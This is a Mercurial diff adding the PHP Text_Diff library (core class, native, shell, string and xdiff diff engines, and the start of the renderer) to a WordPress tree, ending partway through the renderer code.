@param string $engine Name of the diffing engine to use. 'auto' + * will automatically select the best. + * @param array $params Parameters to pass to the diffing engine. + * Normally an array of two arrays, each + * containing the lines from a file. + */ + function Text_Diff($engine, $params) + { + // Backward compatibility workaround. + if (!is_string($engine)) { + $params = array($engine, $params); + $engine = 'auto'; + } + + if ($engine == 'auto') { + $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; + } else { + $engine = basename($engine); + } + + // WP #7391 + require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; + $class = 'Text_Diff_Engine_' . $engine; + $diff_engine = new $class(); + + $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); + } + + /** + * Returns the array of differences. + */ + function getDiff() + { + return $this->_edits; + } + + /** + * Computes a reversed diff. + * + * Example: + * + * $diff = new Text_Diff($lines1, $lines2); + * $rev = $diff->reverse(); + * + * + * @return Text_Diff A Diff object representing the inverse of the + * original diff. Note that we purposely don't return a + * reference here, since this essentially is a clone() + * method. + */ + function reverse() + { + if (version_compare(zend_version(), '2', '>')) { + $rev = clone($this); + } else { + $rev = $this; + } + $rev->_edits = array(); + foreach ($this->_edits as $edit) { + $rev->_edits[] = $edit->reverse(); + } + return $rev; + } + + /** + * Checks for an empty diff. + * + * @return boolean True if two sequences were identical. + */ + function isEmpty() + { + foreach ($this->_edits as $edit) { + if (!is_a($edit, 'Text_Diff_Op_copy')) { + return false; + } + } + return true; + } + + /** + * Computes the length of the Longest Common Subsequence (LCS). + * + * This is mostly for diagnostic purposes. + * + * @return integer The length of the LCS. + */ + function lcs() + { + $lcs = 0; + foreach ($this->_edits as $edit) { + if (is_a($edit, 'Text_Diff_Op_copy')) { + $lcs += count($edit->orig); + } + } + return $lcs; + } + + /** + * Gets the original set of lines. + * + * This reconstructs the $from_lines parameter passed to the constructor. + * + * @return array The original sequence of strings. + */ + function getOriginal() + { + $lines = array(); + foreach ($this->_edits as $edit) { + if ($edit->orig) { + array_splice($lines, count($lines), 0, $edit->orig); + } + } + return $lines; + } + + /** + * Gets the final set of lines. + * + * This reconstructs the $to_lines parameter passed to the constructor. + * + * @return array The sequence of strings. + */ + function getFinal() + { + $lines = array(); + foreach ($this->_edits as $edit) { + if ($edit->final) { + array_splice($lines, count($lines), 0, $edit->final); + } + } + return $lines; + } + + /** + * Removes trailing newlines from a line of text. This is meant to be used + * with array_walk(). + * + * @param string $line The line to trim. + * @param integer $key The index of the line in the array. Not used. + */ + function trimNewlines(&$line, $key) + { + $line = str_replace(array("\n", "\r"), '', $line); + } + + /** + * Determines the location of the system temporary directory. + * + * @static + * + * @access protected + * + * @return string A directory name which can be used for temp files. + * Returns false if one could not be found. + */ + function _getTempDir() + { + $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', + 'c:\windows\temp', 'c:\winnt\temp'); + + /* Try PHP's upload_tmp_dir directive. */ + $tmp = ini_get('upload_tmp_dir'); + + /* Otherwise, try to determine the TMPDIR environment variable. */ + if (!strlen($tmp)) { + $tmp = getenv('TMPDIR'); + } + + /* If we still cannot determine a value, then cycle through a list of + * preset possibilities. */ + while (!strlen($tmp) && count($tmp_locations)) { + $tmp_check = array_shift($tmp_locations); + if (@is_dir($tmp_check)) { + $tmp = $tmp_check; + } + } + + /* If it is still empty, we have failed, so return false; otherwise + * return the directory determined. */ + return strlen($tmp) ? $tmp : false; + } + + /** + * Checks a diff for validity. + * + * This is here only for debugging purposes. + */ + function _check($from_lines, $to_lines) + { + if (serialize($from_lines) != serialize($this->getOriginal())) { + trigger_error("Reconstructed original doesn't match", E_USER_ERROR); + } + if (serialize($to_lines) != serialize($this->getFinal())) { + trigger_error("Reconstructed final doesn't match", E_USER_ERROR); + } + + $rev = $this->reverse(); + if (serialize($to_lines) != serialize($rev->getOriginal())) { + trigger_error("Reversed original doesn't match", E_USER_ERROR); + } + if (serialize($from_lines) != serialize($rev->getFinal())) { + trigger_error("Reversed final doesn't match", E_USER_ERROR); + } + + $prevtype = null; + foreach ($this->_edits as $edit) { + if ($prevtype == get_class($edit)) { + trigger_error("Edit sequence is non-optimal", E_USER_ERROR); + } + $prevtype = get_class($edit); + } + + return true; + } + +} + +/** + * @package Text_Diff + * @author Geoffrey T. Dairiki + */ +class Text_MappedDiff extends Text_Diff { + + /** + * Computes a diff between sequences of strings. + * + * This can be used to compute things like case-insensitve diffs, or diffs + * which ignore changes in white-space. + * + * @param array $from_lines An array of strings. + * @param array $to_lines An array of strings. + * @param array $mapped_from_lines This array should have the same size + * number of elements as $from_lines. The + * elements in $mapped_from_lines and + * $mapped_to_lines are what is actually + * compared when computing the diff. + * @param array $mapped_to_lines This array should have the same number + * of elements as $to_lines. + */ + function Text_MappedDiff($from_lines, $to_lines, + $mapped_from_lines, $mapped_to_lines) + { + assert(count($from_lines) == count($mapped_from_lines)); + assert(count($to_lines) == count($mapped_to_lines)); + + parent::Text_Diff($mapped_from_lines, $mapped_to_lines); + + $xi = $yi = 0; + for ($i = 0; $i < count($this->_edits); $i++) { + $orig = &$this->_edits[$i]->orig; + if (is_array($orig)) { + $orig = array_slice($from_lines, $xi, count($orig)); + $xi += count($orig); + } + + $final = &$this->_edits[$i]->final; + if (is_array($final)) { + $final = array_slice($to_lines, $yi, count($final)); + $yi += count($final); + } + } + } + +} + +/** + * @package Text_Diff + * @author Geoffrey T. Dairiki + * + * @access private + */ +class Text_Diff_Op { + + var $orig; + var $final; + + function &reverse() + { + trigger_error('Abstract method', E_USER_ERROR); + } + + function norig() + { + return $this->orig ? count($this->orig) : 0; + } + + function nfinal() + { + return $this->final ? count($this->final) : 0; + } + +} + +/** + * @package Text_Diff + * @author Geoffrey T. Dairiki + * + * @access private + */ +class Text_Diff_Op_copy extends Text_Diff_Op { + + function Text_Diff_Op_copy($orig, $final = false) + { + if (!is_array($final)) { + $final = $orig; + } + $this->orig = $orig; + $this->final = $final; + } + + function &reverse() + { + $reverse = &new Text_Diff_Op_copy($this->final, $this->orig); + return $reverse; + } + +} + +/** + * @package Text_Diff + * @author Geoffrey T. Dairiki + * + * @access private + */ +class Text_Diff_Op_delete extends Text_Diff_Op { + + function Text_Diff_Op_delete($lines) + { + $this->orig = $lines; + $this->final = false; + } + + function &reverse() + { + $reverse = &new Text_Diff_Op_add($this->orig); + return $reverse; + } + +} + +/** + * @package Text_Diff + * @author Geoffrey T. Dairiki + * + * @access private + */ +class Text_Diff_Op_add extends Text_Diff_Op { + + function Text_Diff_Op_add($lines) + { + $this->final = $lines; + $this->orig = false; + } + + function &reverse() + { + $reverse = &new Text_Diff_Op_delete($this->final); + return $reverse; + } + +} + +/** + * @package Text_Diff + * @author Geoffrey T. Dairiki + * + * @access private + */ +class Text_Diff_Op_change extends Text_Diff_Op { + + function Text_Diff_Op_change($orig, $final) + { + $this->orig = $orig; + $this->final = $final; + } + + function &reverse() + { + $reverse = &new Text_Diff_Op_change($this->final, $this->orig); + return $reverse; + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/Text/Diff/Engine/native.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/Text/Diff/Engine/native.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,437 @@ + 2, and some optimizations) are from + * Geoffrey T. Dairiki . The original PHP version of this + * code was written by him, and is used/adapted with his permission. + * + * Copyright 2004-2008 The Horde Project (http://www.horde.org/) + * + * See the enclosed file COPYING for license information (LGPL). If you did + * not receive this file, see http://opensource.org/licenses/lgpl-license.php. + * + * @author Geoffrey T. Dairiki + * @package Text_Diff + */ +class Text_Diff_Engine_native { + + function diff($from_lines, $to_lines) + { + array_walk($from_lines, array('Text_Diff', 'trimNewlines')); + array_walk($to_lines, array('Text_Diff', 'trimNewlines')); + + $n_from = count($from_lines); + $n_to = count($to_lines); + + $this->xchanged = $this->ychanged = array(); + $this->xv = $this->yv = array(); + $this->xind = $this->yind = array(); + unset($this->seq); + unset($this->in_seq); + unset($this->lcs); + + // Skip leading common lines. + for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { + if ($from_lines[$skip] !== $to_lines[$skip]) { + break; + } + $this->xchanged[$skip] = $this->ychanged[$skip] = false; + } + + // Skip trailing common lines. + $xi = $n_from; $yi = $n_to; + for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { + if ($from_lines[$xi] !== $to_lines[$yi]) { + break; + } + $this->xchanged[$xi] = $this->ychanged[$yi] = false; + } + + // Ignore lines which do not exist in both files. + for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { + $xhash[$from_lines[$xi]] = 1; + } + for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { + $line = $to_lines[$yi]; + if (($this->ychanged[$yi] = empty($xhash[$line]))) { + continue; + } + $yhash[$line] = 1; + $this->yv[] = $line; + $this->yind[] = $yi; + } + for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { + $line = $from_lines[$xi]; + if (($this->xchanged[$xi] = empty($yhash[$line]))) { + continue; + } + $this->xv[] = $line; + $this->xind[] = $xi; + } + + // Find the LCS. + $this->_compareseq(0, count($this->xv), 0, count($this->yv)); + + // Merge edits when possible. + $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); + $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); + + // Compute the edit operations. + $edits = array(); + $xi = $yi = 0; + while ($xi < $n_from || $yi < $n_to) { + assert($yi < $n_to || $this->xchanged[$xi]); + assert($xi < $n_from || $this->ychanged[$yi]); + + // Skip matching "snake". + $copy = array(); + while ($xi < $n_from && $yi < $n_to + && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { + $copy[] = $from_lines[$xi++]; + ++$yi; + } + if ($copy) { + $edits[] = &new Text_Diff_Op_copy($copy); + } + + // Find deletes & adds. + $delete = array(); + while ($xi < $n_from && $this->xchanged[$xi]) { + $delete[] = $from_lines[$xi++]; + } + + $add = array(); + while ($yi < $n_to && $this->ychanged[$yi]) { + $add[] = $to_lines[$yi++]; + } + + if ($delete && $add) { + $edits[] = &new Text_Diff_Op_change($delete, $add); + } elseif ($delete) { + $edits[] = &new Text_Diff_Op_delete($delete); + } elseif ($add) { + $edits[] = &new Text_Diff_Op_add($add); + } + } + + return $edits; + } + + /** + * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, + * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized + * segments. + * + * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of + * NCHUNKS+1 (X, Y) indexes giving the diving points between sub + * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), + * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == + * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). + * + * This function assumes that the first lines of the specified portions of + * the two files do not match, and likewise that the last lines do not + * match. The caller must trim matching lines from the beginning and end + * of the portions it is going to specify. + */ + function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) + { + $flip = false; + + if ($xlim - $xoff > $ylim - $yoff) { + /* Things seems faster (I'm not sure I understand why) when the + * shortest sequence is in X. */ + $flip = true; + list ($xoff, $xlim, $yoff, $ylim) + = array($yoff, $ylim, $xoff, $xlim); + } + + if ($flip) { + for ($i = $ylim - 1; $i >= $yoff; $i--) { + $ymatches[$this->xv[$i]][] = $i; + } + } else { + for ($i = $ylim - 1; $i >= $yoff; $i--) { + $ymatches[$this->yv[$i]][] = $i; + } + } + + $this->lcs = 0; + $this->seq[0]= $yoff - 1; + $this->in_seq = array(); + $ymids[0] = array(); + + $numer = $xlim - $xoff + $nchunks - 1; + $x = $xoff; + for ($chunk = 0; $chunk < $nchunks; $chunk++) { + if ($chunk > 0) { + for ($i = 0; $i <= $this->lcs; $i++) { + $ymids[$i][$chunk - 1] = $this->seq[$i]; + } + } + + $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); + for (; $x < $x1; $x++) { + $line = $flip ? $this->yv[$x] : $this->xv[$x]; + if (empty($ymatches[$line])) { + continue; + } + $matches = $ymatches[$line]; + reset($matches); + while (list(, $y) = each($matches)) { + if (empty($this->in_seq[$y])) { + $k = $this->_lcsPos($y); + assert($k > 0); + $ymids[$k] = $ymids[$k - 1]; + break; + } + } + while (list(, $y) = each($matches)) { + if ($y > $this->seq[$k - 1]) { + assert($y <= $this->seq[$k]); + /* Optimization: this is a common case: next match is + * just replacing previous match. */ + $this->in_seq[$this->seq[$k]] = false; + $this->seq[$k] = $y; + $this->in_seq[$y] = 1; + } elseif (empty($this->in_seq[$y])) { + $k = $this->_lcsPos($y); + assert($k > 0); + $ymids[$k] = $ymids[$k - 1]; + } + } + } + } + + $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); + $ymid = $ymids[$this->lcs]; + for ($n = 0; $n < $nchunks - 1; $n++) { + $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); + $y1 = $ymid[$n] + 1; + $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); + } + $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); + + return array($this->lcs, $seps); + } + + function _lcsPos($ypos) + { + $end = $this->lcs; + if ($end == 0 || $ypos > $this->seq[$end]) { + $this->seq[++$this->lcs] = $ypos; + $this->in_seq[$ypos] = 1; + return $this->lcs; + } + + $beg = 1; + while ($beg < $end) { + $mid = (int)(($beg + $end) / 2); + if ($ypos > $this->seq[$mid]) { + $beg = $mid + 1; + } else { + $end = $mid; + } + } + + assert($ypos != $this->seq[$end]); + + $this->in_seq[$this->seq[$end]] = false; + $this->seq[$end] = $ypos; + $this->in_seq[$ypos] = 1; + return $end; + } + + /** + * Finds LCS of two sequences. + * + * The results are recorded in the vectors $this->{x,y}changed[], by + * storing a 1 in the element for each line that is an insertion or + * deletion (ie. is not in the LCS). + * + * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. + * + * Note that XLIM, YLIM are exclusive bounds. All line numbers are + * origin-0 and discarded lines are not counted. + */ + function _compareseq ($xoff, $xlim, $yoff, $ylim) + { + /* Slide down the bottom initial diagonal. */ + while ($xoff < $xlim && $yoff < $ylim + && $this->xv[$xoff] == $this->yv[$yoff]) { + ++$xoff; + ++$yoff; + } + + /* Slide up the top initial diagonal. */ + while ($xlim > $xoff && $ylim > $yoff + && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { + --$xlim; + --$ylim; + } + + if ($xoff == $xlim || $yoff == $ylim) { + $lcs = 0; + } else { + /* This is ad hoc but seems to work well. $nchunks = + * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = + * max(2,min(8,(int)$nchunks)); */ + $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; + list($lcs, $seps) + = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); + } + + if ($lcs == 0) { + /* X and Y sequences have no common subsequence: mark all + * changed. */ + while ($yoff < $ylim) { + $this->ychanged[$this->yind[$yoff++]] = 1; + } + while ($xoff < $xlim) { + $this->xchanged[$this->xind[$xoff++]] = 1; + } + } else { + /* Use the partitions to split this problem into subproblems. */ + reset($seps); + $pt1 = $seps[0]; + while ($pt2 = next($seps)) { + $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); + $pt1 = $pt2; + } + } + } + + /** + * Adjusts inserts/deletes of identical lines to join changes as much as + * possible. + * + * We do something when a run of changed lines include a line at one end + * and has an excluded, identical line at the other. We are free to + * choose which identical line is included. `compareseq' usually chooses + * the one at the beginning, but usually it is cleaner to consider the + * following identical line to be the "change". + * + * This is extracted verbatim from analyze.c (GNU diffutils-2.7). + */ + function _shiftBoundaries($lines, &$changed, $other_changed) + { + $i = 0; + $j = 0; + + assert('count($lines) == count($changed)'); + $len = count($lines); + $other_len = count($other_changed); + + while (1) { + /* Scan forward to find the beginning of another run of + * changes. Also keep track of the corresponding point in the + * other file. + * + * Throughout this code, $i and $j are adjusted together so that + * the first $i elements of $changed and the first $j elements of + * $other_changed both contain the same number of zeros (unchanged + * lines). + * + * Furthermore, $j is always kept so that $j == $other_len or + * $other_changed[$j] == false. */ + while ($j < $other_len && $other_changed[$j]) { + $j++; + } + + while ($i < $len && ! $changed[$i]) { + assert('$j < $other_len && ! $other_changed[$j]'); + $i++; $j++; + while ($j < $other_len && $other_changed[$j]) { + $j++; + } + } + + if ($i == $len) { + break; + } + + $start = $i; + + /* Find the end of this run of changes. */ + while (++$i < $len && $changed[$i]) { + continue; + } + + do { + /* Record the length of this run of changes, so that we can + * later determine whether the run has grown. */ + $runlength = $i - $start; + + /* Move the changed region back, so long as the previous + * unchanged line matches the last changed one. This merges + * with previous changed regions. */ + while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) { + $changed[--$start] = 1; + $changed[--$i] = false; + while ($start > 0 && $changed[$start - 1]) { + $start--; + } + assert('$j > 0'); + while ($other_changed[--$j]) { + continue; + } + assert('$j >= 0 && !$other_changed[$j]'); + } + + /* Set CORRESPONDING to the end of the changed run, at the + * last point where it corresponds to a changed run in the + * other file. CORRESPONDING == LEN means no such point has + * been found. */ + $corresponding = $j < $other_len ? $i : $len; + + /* Move the changed region forward, so long as the first + * changed line matches the following unchanged one. This + * merges with following changed regions. Do this second, so + * that if there are no merges, the changed region is moved + * forward as far as possible. */ + while ($i < $len && $lines[$start] == $lines[$i]) { + $changed[$start++] = false; + $changed[$i++] = 1; + while ($i < $len && $changed[$i]) { + $i++; + } + + assert('$j < $other_len && ! $other_changed[$j]'); + $j++; + if ($j < $other_len && $other_changed[$j]) { + $corresponding = $i; + while ($j < $other_len && $other_changed[$j]) { + $j++; + } + } + } + } while ($runlength != $i - $start); + + /* If possible, move the fully-merged run of changes back to a + * corresponding run in the other file. */ + while ($corresponding < $i) { + $changed[--$start] = 1; + $changed[--$i] = 0; + assert('$j > 0'); + while ($other_changed[--$j]) { + continue; + } + assert('$j >= 0 && !$other_changed[$j]'); + } + } + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/Text/Diff/Engine/shell.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/Text/Diff/Engine/shell.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,164 @@ + + * @package Text_Diff + * @since 0.3.0 + */ +class Text_Diff_Engine_shell { + + /** + * Path to the diff executable + * + * @var string + */ + var $_diffCommand = 'diff'; + + /** + * Returns the array of differences. + * + * @param array $from_lines lines of text from old file + * @param array $to_lines lines of text from new file + * + * @return array all changes made (array with Text_Diff_Op_* objects) + */ + function diff($from_lines, $to_lines) + { + array_walk($from_lines, array('Text_Diff', 'trimNewlines')); + array_walk($to_lines, array('Text_Diff', 'trimNewlines')); + + $temp_dir = Text_Diff::_getTempDir(); + + // Execute gnu diff or similar to get a standard diff file. + $from_file = tempnam($temp_dir, 'Text_Diff'); + $to_file = tempnam($temp_dir, 'Text_Diff'); + $fp = fopen($from_file, 'w'); + fwrite($fp, implode("\n", $from_lines)); + fclose($fp); + $fp = fopen($to_file, 'w'); + fwrite($fp, implode("\n", $to_lines)); + fclose($fp); + $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); + unlink($from_file); + unlink($to_file); + + if (is_null($diff)) { + // No changes were made + return array(new Text_Diff_Op_copy($from_lines)); + } + + $from_line_no = 1; + $to_line_no = 1; + $edits = array(); + + // Get changed lines by parsing something like: + // 0a1,2 + // 1,2c4,6 + // 1,5d6 + preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, + $matches, PREG_SET_ORDER); + + foreach ($matches as $match) { + if (!isset($match[5])) { + // This paren is not set every time (see regex). + $match[5] = false; + } + + if ($match[3] == 'a') { + $from_line_no--; + } + + if ($match[3] == 'd') { + $to_line_no--; + } + + if ($from_line_no < $match[1] || $to_line_no < $match[4]) { + // copied lines + assert('$match[1] - $from_line_no == $match[4] - $to_line_no'); + array_push($edits, + new Text_Diff_Op_copy( + $this->_getLines($from_lines, $from_line_no, $match[1] - 1), + $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); + } + + switch ($match[3]) { + case 'd': + // deleted lines + array_push($edits, + new Text_Diff_Op_delete( + $this->_getLines($from_lines, $from_line_no, $match[2]))); + $to_line_no++; + break; + + case 'c': + // changed lines + array_push($edits, + new Text_Diff_Op_change( + $this->_getLines($from_lines, $from_line_no, $match[2]), + $this->_getLines($to_lines, $to_line_no, $match[5]))); + break; + + case 'a': + // added lines + array_push($edits, + new Text_Diff_Op_add( + $this->_getLines($to_lines, $to_line_no, $match[5]))); + $from_line_no++; + break; + } + } + + if (!empty($from_lines)) { + // Some lines might still be pending. Add them as copied + array_push($edits, + new Text_Diff_Op_copy( + $this->_getLines($from_lines, $from_line_no, + $from_line_no + count($from_lines) - 1), + $this->_getLines($to_lines, $to_line_no, + $to_line_no + count($to_lines) - 1))); + } + + return $edits; + } + + /** + * Get lines from either the old or new text + * + * @access private + * + * @param array &$text_lines Either $from_lines or $to_lines + * @param int &$line_no Current line number + * @param int $end Optional end line, when we want to chop more + * than one line. + * + * @return array The chopped lines + */ + function _getLines(&$text_lines, &$line_no, $end = false) + { + if (!empty($end)) { + $lines = array(); + // We can shift even more + while ($line_no <= $end) { + array_push($lines, array_shift($text_lines)); + $line_no++; + } + } else { + $lines = array(array_shift($text_lines)); + $line_no++; + } + + return $lines; + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/Text/Diff/Engine/string.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/Text/Diff/Engine/string.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,234 @@ + + * $patch = file_get_contents('example.patch'); + * $diff = new Text_Diff('string', array($patch)); + * $renderer = new Text_Diff_Renderer_inline(); + * echo $renderer->render($diff); + *
    + * + * $Horde: framework/Text_Diff/Diff/Engine/string.php,v 1.7 2008/01/04 10:07:50 jan Exp $ + * + * Copyright 2005 Örjan Persson + * Copyright 2005-2008 The Horde Project (http://www.horde.org/) + * + * See the enclosed file COPYING for license information (LGPL). If you did + * not receive this file, see http://opensource.org/licenses/lgpl-license.php. + * + * @author Örjan Persson + * @package Text_Diff + * @since 0.2.0 + */ +class Text_Diff_Engine_string { + + /** + * Parses a unified or context diff. + * + * First param contains the whole diff and the second can be used to force + * a specific diff type. If the second parameter is 'autodetect', the + * diff will be examined to find out which type of diff this is. + * + * @param string $diff The diff content. + * @param string $mode The diff mode of the content in $diff. One of + * 'context', 'unified', or 'autodetect'. + * + * @return array List of all diff operations. + */ + function diff($diff, $mode = 'autodetect') + { + if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { + return PEAR::raiseError('Type of diff is unsupported'); + } + + if ($mode == 'autodetect') { + $context = strpos($diff, '***'); + $unified = strpos($diff, '---'); + if ($context === $unified) { + return PEAR::raiseError('Type of diff could not be detected'); + } elseif ($context === false || $context === false) { + $mode = $context !== false ? 'context' : 'unified'; + } else { + $mode = $context < $unified ? 'context' : 'unified'; + } + } + + // split by new line and remove the diff header + $diff = explode("\n", $diff); + array_shift($diff); + array_shift($diff); + + if ($mode == 'context') { + return $this->parseContextDiff($diff); + } else { + return $this->parseUnifiedDiff($diff); + } + } + + /** + * Parses an array containing the unified diff. + * + * @param array $diff Array of lines. + * + * @return array List of all diff operations. + */ + function parseUnifiedDiff($diff) + { + $edits = array(); + $end = count($diff) - 1; + for ($i = 0; $i < $end;) { + $diff1 = array(); + switch (substr($diff[$i], 0, 1)) { + case ' ': + do { + $diff1[] = substr($diff[$i], 1); + } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); + $edits[] = &new Text_Diff_Op_copy($diff1); + break; + + case '+': + // get all new lines + do { + $diff1[] = substr($diff[$i], 1); + } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); + $edits[] = &new Text_Diff_Op_add($diff1); + break; + + case '-': + // get changed or removed lines + $diff2 = array(); + do { + $diff1[] = substr($diff[$i], 1); + } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); + + while ($i < $end && substr($diff[$i], 0, 1) == '+') { + $diff2[] = substr($diff[$i++], 1); + } + if (count($diff2) == 0) { + $edits[] = &new Text_Diff_Op_delete($diff1); + } else { + $edits[] = &new Text_Diff_Op_change($diff1, $diff2); + } + break; + + default: + $i++; + break; + } + } + + return $edits; + } + + /** + * Parses an array containing the context diff. + * + * @param array $diff Array of lines. + * + * @return array List of all diff operations. + */ + function parseContextDiff(&$diff) + { + $edits = array(); + $i = $max_i = $j = $max_j = 0; + $end = count($diff) - 1; + while ($i < $end && $j < $end) { + while ($i >= $max_i && $j >= $max_j) { + // Find the boundaries of the diff output of the two files + for ($i = $j; + $i < $end && substr($diff[$i], 0, 3) == '***'; + $i++); + for ($max_i = $i; + $max_i < $end && substr($diff[$max_i], 0, 3) != '---'; + $max_i++); + for ($j = $max_i; + $j < $end && substr($diff[$j], 0, 3) == '---'; + $j++); + for ($max_j = $j; + $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; + $max_j++); + } + + // find what hasn't been changed + $array = array(); + while ($i < $max_i && + $j < $max_j && + strcmp($diff[$i], $diff[$j]) == 0) { + $array[] = substr($diff[$i], 2); + $i++; + $j++; + } + + while ($i < $max_i && ($max_j-$j) <= 1) { + if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { + break; + } + $array[] = substr($diff[$i++], 2); + } + + while ($j < $max_j && ($max_i-$i) <= 1) { + if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { + break; + } + $array[] = substr($diff[$j++], 2); + } + if (count($array) > 0) { + $edits[] = &new Text_Diff_Op_copy($array); + } + + if ($i < $max_i) { + $diff1 = array(); + switch (substr($diff[$i], 0, 1)) { + case '!': + $diff2 = array(); + do { + $diff1[] = substr($diff[$i], 2); + if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { + $diff2[] = substr($diff[$j++], 2); + } + } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); + $edits[] = &new Text_Diff_Op_change($diff1, $diff2); + break; + + case '+': + do { + $diff1[] = substr($diff[$i], 2); + } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); + $edits[] = &new Text_Diff_Op_add($diff1); + break; + + case '-': + do { + $diff1[] = substr($diff[$i], 2); + } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); + $edits[] = &new Text_Diff_Op_delete($diff1); + break; + } + } + + if ($j < $max_j) { + $diff2 = array(); + switch (substr($diff[$j], 0, 1)) { + case '+': + do { + $diff2[] = substr($diff[$j++], 2); + } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); + $edits[] = &new Text_Diff_Op_add($diff2); + break; + + case '-': + do { + $diff2[] = substr($diff[$j++], 2); + } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); + $edits[] = &new Text_Diff_Op_delete($diff2); + break; + } + } + } + + return $edits; + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/Text/Diff/Engine/xdiff.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/Text/Diff/Engine/xdiff.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,63 @@ + + * @package Text_Diff + */ +class Text_Diff_Engine_xdiff { + + /** + */ + function diff($from_lines, $to_lines) + { + array_walk($from_lines, array('Text_Diff', 'trimNewlines')); + array_walk($to_lines, array('Text_Diff', 'trimNewlines')); + + /* Convert the two input arrays into strings for xdiff processing. */ + $from_string = implode("\n", $from_lines); + $to_string = implode("\n", $to_lines); + + /* Diff the two strings and convert the result to an array. */ + $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); + $diff = explode("\n", $diff); + + /* Walk through the diff one line at a time. We build the $edits + * array of diff operations by reading the first character of the + * xdiff output (which is in the "unified diff" format). + * + * Note that we don't have enough information to detect "changed" + * lines using this approach, so we can't add Text_Diff_Op_changed + * instances to the $edits array. The result is still perfectly + * valid, albeit a little less descriptive and efficient. */ + $edits = array(); + foreach ($diff as $line) { + switch ($line[0]) { + case ' ': + $edits[] = &new Text_Diff_Op_copy(array(substr($line, 1))); + break; + + case '+': + $edits[] = &new Text_Diff_Op_add(array(substr($line, 1))); + break; + + case '-': + $edits[] = &new Text_Diff_Op_delete(array(substr($line, 1))); + break; + } + } + + return $edits; + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/Text/Diff/Renderer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/Text/Diff/Renderer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,237 @@ + $value) { + $v = '_' . $param; + if (isset($this->$v)) { + $this->$v = $value; + } + } + } + + /** + * Get any renderer parameters. + * + * @return array All parameters of this renderer object. + */ + function getParams() + { + $params = array(); + foreach (get_object_vars($this) as $k => $v) { + if ($k[0] == '_') { + $params[substr($k, 1)] = $v; + } + } + + return $params; + } + + /** + * Renders a diff. + * + * @param Text_Diff $diff A Text_Diff object. + * + * @return string The formatted output. + */ + function render($diff) + { + $xi = $yi = 1; + $block = false; + $context = array(); + + $nlead = $this->_leading_context_lines; + $ntrail = $this->_trailing_context_lines; + + $output = $this->_startDiff(); + + $diffs = $diff->getDiff(); + foreach ($diffs as $i => $edit) { + /* If these are unchanged (copied) lines, and we want to keep + * leading or trailing context lines, extract them from the copy + * block. */ + if (is_a($edit, 'Text_Diff_Op_copy')) { + /* Do we have any diff blocks yet? */ + if (is_array($block)) { + /* How many lines to keep as context from the copy + * block. */ + $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail; + if (count($edit->orig) <= $keep) { + /* We have less lines in the block than we want for + * context => keep the whole block. */ + $block[] = $edit; + 